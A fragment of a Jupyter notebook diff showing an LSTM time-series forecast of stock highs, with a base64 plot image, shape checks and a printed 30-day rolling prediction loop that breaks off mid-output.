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", + "text/plain": [ + "
" + ] + }, + "metadata": { + "needs_background": "light" + }, + "output_type": "display_data" + }, + { + "name": "stdout", + "output_type": "stream", + "text": [ + "Green indicates the Predicted Data\n", + "Blue indicates the Complete Data\n", + "Orange indicates the Train Data\n" + ] + } + ], + "source": [ + "plt.figure(figsize=(10,6))\n", + "\n", + "plt.plot(scaler.inverse_transform(df_high))\n", + "plt.plot(trainPredictPlot)\n", + "plt.plot(testPredictPlot)\n", + "plt.show()\n", + "\n", + "print(\"Green indicates the Predicted Data\")\n", + "print(\"Blue indicates the Complete Data\")\n", + "print(\"Orange indicates the Train Data\")" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "KSXzyIYUOznI", + "outputId": "45f6e500-ed9e-4c23-daf1-297d82af6452" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(509, (408, 100, 1))" + ] + }, + "execution_count": 36, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "len(test_data), x_test.shape" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "MZ3ZMFsjOzp4", + "outputId": "84207353-0000-4f1d-c927-e1b642ed8add" + }, + "outputs": [ + { + "data": { + "text/plain": [ + "(1, 100)" + ] + }, + "execution_count": 37, + "metadata": {}, + "output_type": "execute_result" + } + ], + "source": [ + "x_input = test_data[409:].reshape(1,-1)\n", + "x_input.shape" + ] + }, + { + "cell_type": "markdown", + "metadata": { + "id": "uYigrDO7PbdL" + }, + "source": [ + "**Predicting values for next 30 days**" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "WG9WJMSZPWKv", + "outputId": "cb939c8c-5c3d-4dcd-946f-7015b55af567" + }, + "outputs": [ + { + "name": "stdout", + "output_type": "stream", + "text": [ + "[0.16536452]\n", + "101\n", + "1 day input [0.13254727 0.13397032 0.13356373 0.13498679 0.14108559 0.13498679\n", + " 0.12644847 0.12685505 0.12482212 0.14515145 0.1467778 0.15003049\n", + " 0.15368977 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904\n", + " 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228\n", + " 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452]\n", + "1 day output [[0.1678729]]\n", + "2 day input [0.13397032 0.13356373 0.13498679 0.14108559 0.13498679 0.12644847\n", + " 0.12685505 0.12482212 0.14515145 0.1467778 0.15003049 0.15368977\n", + " 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239\n", + " 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156\n", + " 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291]\n", + "2 day output [[0.17017089]]\n", + "3 day input [0.13356373 0.13498679 0.14108559 0.13498679 0.12644847 0.12685505\n", + " 0.12482212 0.14515145 0.1467778 0.15003049 0.15368977 0.17198618\n", + " 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006\n", + " 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863\n", + " 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089]\n", + "3 day output [[0.17237605]]\n", + "4 day input [0.13498679 0.14108559 0.13498679 0.12644847 0.12685505 0.12482212\n", + " 0.14515145 0.1467778 0.15003049 0.15368977 0.17198618 0.16548079\n", + " 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366\n", + " 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354\n", + " 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066\n", + " 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999\n", + " 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234\n", + " 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899\n", + " 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763\n", + " 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599\n", + " 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067\n", + " 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708\n", + " 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349\n", + " 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433\n", + " 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223\n", + " 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786\n", + " 0.16536452 0.16787291 0.17017089 0.17237605]\n", + "4 day output [[0.17453894]]\n", + "5 day input [0.14108559 0.13498679 0.12644847 0.12685505 0.12482212 0.14515145\n", + " 0.1467778 0.15003049 0.15368977 0.17198618 0.16548079 0.17625534\n", + " 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474\n", + " 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719\n", + " 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138\n", + " 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874\n", + " 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706\n", + " 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474\n", + " 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264\n", + " 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575\n", + " 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612\n", + " 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499\n", + " 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679\n", + " 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265\n", + " 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319\n", + " 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452\n", + " 0.16787291 0.17017089 0.17237605 0.17453894]\n", + "5 day output [[0.17667189]]\n", + "6 day input [0.13498679 0.12644847 0.12685505 0.12482212 0.14515145 0.1467778\n", + " 0.15003049 0.15368977 0.17198618 0.16548079 0.17625534 0.17564546\n", + " 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727\n", + " 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892\n", + " 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832\n", + " 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766\n", + " 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923\n", + " 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426\n", + " 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959\n", + " 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012\n", + " 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049\n", + " 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553\n", + " 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469\n", + " 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439\n", + " 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732\n", + " 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291\n", + " 0.17017089 0.17237605 0.17453894 0.17667189]\n", + "6 day output [[0.17877619]]\n", + "7 day input [0.12644847 0.12685505 0.12482212 0.14515145 0.1467778 0.15003049\n", + " 0.15368977 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904\n", + " 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228\n", + " 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089\n", + " 0.17237605 0.17453894 0.17667189 0.17877619]\n", + "7 day output [[0.180852]]\n", + "8 day input [0.12685505 0.12482212 0.14515145 0.1467778 0.15003049 0.15368977\n", + " 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239\n", + " 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156\n", + " 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605\n", + " 0.17453894 0.17667189 0.17877619 0.180852 ]\n", + "8 day output [[0.1828999]]\n", + "9 day input [0.12482212 0.14515145 0.1467778 0.15003049 0.15368977 0.17198618\n", + " 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006\n", + " 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863\n", + " 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894\n", + " 0.17667189 0.17877619 0.180852 0.18289991]\n", + "9 day output [[0.18492067]]\n", + "10 day input [0.14515145 0.1467778 0.15003049 0.15368977 0.17198618 0.16548079\n", + " 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366\n", + " 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354\n", + " 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066\n", + " 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999\n", + " 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234\n", + " 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899\n", + " 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763\n", + " 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599\n", + " 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067\n", + " 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708\n", + " 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349\n", + " 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433\n", + " 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223\n", + " 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786\n", + " 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189\n", + " 0.17877619 0.180852 0.18289991 0.18492067]\n", + "10 day output [[0.18691507]]\n", + "11 day input [0.1467778 0.15003049 0.15368977 0.17198618 0.16548079 0.17625534\n", + " 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474\n", + " 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719\n", + " 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138\n", + " 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874\n", + " 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706\n", + " 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474\n", + " 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264\n", + " 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575\n", + " 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612\n", + " 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499\n", + " 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679\n", + " 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265\n", + " 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319\n", + " 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452\n", + " 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619\n", + " 0.180852 0.18289991 0.18492067 0.18691507]\n", + "11 day output [[0.18888383]]\n", + "12 day input [0.15003049 0.15368977 0.17198618 0.16548079 0.17625534 0.17564546\n", + " 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727\n", + " 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892\n", + " 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832\n", + " 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766\n", + " 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923\n", + " 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426\n", + " 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959\n", + " 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012\n", + " 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049\n", + " 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553\n", + " 0.12827811 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469\n", + " 0.13295385 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439\n", + " 0.15104696 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732\n", + " 0.15531612 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291\n", + " 0.17017089 0.17237605 0.17453894 0.17667189 0.17877619 0.180852\n", + " 0.18289991 0.18492067 0.18691507 0.18888383]\n", + "12 day output [[0.19082795]]\n", + "13 day input [0.15368977 0.17198618 0.16548079 0.17625534 0.17564546 0.19129904\n", + " 0.20817239 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228\n", + " 0.17849156 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599\n", + " 0.19028258 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665\n", + " 0.19597479 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754\n", + " 0.21610083 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372\n", + " 0.1622281 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019\n", + " 0.16548079 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839\n", + " 0.18459036 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654\n", + " 0.16751372 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037\n", + " 0.14860744 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811\n", + " 0.11547062 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385\n", + " 0.12807481 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696\n", + " 0.14515145 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612\n", + " 0.15917869 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089\n", + " 0.17237605 0.17453894 0.17667189 0.17877619 0.180852 0.18289991\n", + " 0.18492067 0.18691507 0.18888383 0.19082795]\n", + "13 day output [[0.19274837]]\n", + "14 day input [0.17198618 0.16548079 0.17625534 0.17564546 0.19129904 0.20817239\n", + " 0.20309006 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156\n", + " 0.17645863 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258\n", + " 0.19394186 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479\n", + " 0.21162838 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083\n", + " 0.22748526 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281\n", + " 0.17056312 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079\n", + " 0.1742224 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036\n", + " 0.18702988 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372\n", + " 0.16974995 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744\n", + " 0.14596463 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062\n", + " 0.12034966 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481\n", + " 0.12624517 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145\n", + " 0.14311852 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869\n", + " 0.15938199 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605\n", + " 0.17453894 0.17667189 0.17877619 0.180852 0.18289991 0.18492067\n", + " 0.18691507 0.18888383 0.19082795 0.19274837]\n", + "14 day output [[0.19464624]]\n", + "15 day input [0.16548079 0.17625534 0.17564546 0.19129904 0.20817239 0.20309006\n", + " 0.18479366 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863\n", + " 0.18540354 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186\n", + " 0.20004066 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838\n", + " 0.22036999 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526\n", + " 0.19150234 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312\n", + " 0.17462899 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224\n", + " 0.1713763 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988\n", + " 0.18987599 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995\n", + " 0.16609067 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463\n", + " 0.15043708 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966\n", + " 0.13478349 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517\n", + " 0.13051433 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852\n", + " 0.15816223 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199\n", + " 0.16344786 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894\n", + " 0.17667189 0.17877619 0.180852 0.18289991 0.18492067 0.18691507\n", + " 0.18888383 0.19082795 0.19274837 0.19464624]\n", + "15 day output [[0.19652267]]\n", + "16 day input [0.17625534 0.17564546 0.19129904 0.20817239 0.20309006 0.18479366\n", + " 0.17930474 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354\n", + " 0.18377719 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066\n", + " 0.19638138 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999\n", + " 0.20979874 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234\n", + " 0.1833706 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899\n", + " 0.17930474 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763\n", + " 0.17300264 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599\n", + " 0.19109575 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067\n", + " 0.15531612 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708\n", + " 0.14413499 0.12441553 0.12827811 0.11547062 0.12034966 0.13478349\n", + " 0.13498679 0.12868469 0.13295385 0.12807481 0.12624517 0.13051433\n", + " 0.13905265 0.14718439 0.15104696 0.14515145 0.14311852 0.15816223\n", + " 0.15328319 0.14921732 0.15531612 0.15917869 0.15938199 0.16344786\n", + " 0.16536452 0.16787291 0.17017089 0.17237605 0.17453894 0.17667189\n", + " 0.17877619 0.180852 0.18289991 0.18492067 0.18691507 0.18888383\n", + " 0.19082795 0.19274837 0.19464624 0.19652267]\n", + "16 day output [[0.1983788]]\n", + "17 day input [0.17564546 0.19129904 0.20817239 0.20309006 0.18479366 0.17930474\n", + " 0.1896727 0.17483228 0.17849156 0.17645863 0.18540354 0.18377719\n", + " 0.19190892 0.18987599 0.19028258 0.19394186 0.20004066 0.19638138\n", + " 0.19495832 0.20349665 0.19597479 0.21162838 0.22036999 0.20979874\n", + " 0.21528766 0.21589754 0.21610083 0.22748526 0.19150234 0.1833706\n", + " 0.17340923 0.16751372 0.1622281 0.17056312 0.17462899 0.17930474\n", + " 0.18174426 0.16853019 0.16548079 0.1742224 0.1713763 0.17300264\n", + " 0.17157959 0.17767839 0.18459036 0.18702988 0.18987599 0.19109575\n", + " 0.18581012 0.17015654 0.16751372 0.16974995 0.16609067 0.15531612\n", + " 0.15003049 0.15064037 0.14860744 0.14596463 0.15043708 0.14413499\n", + " 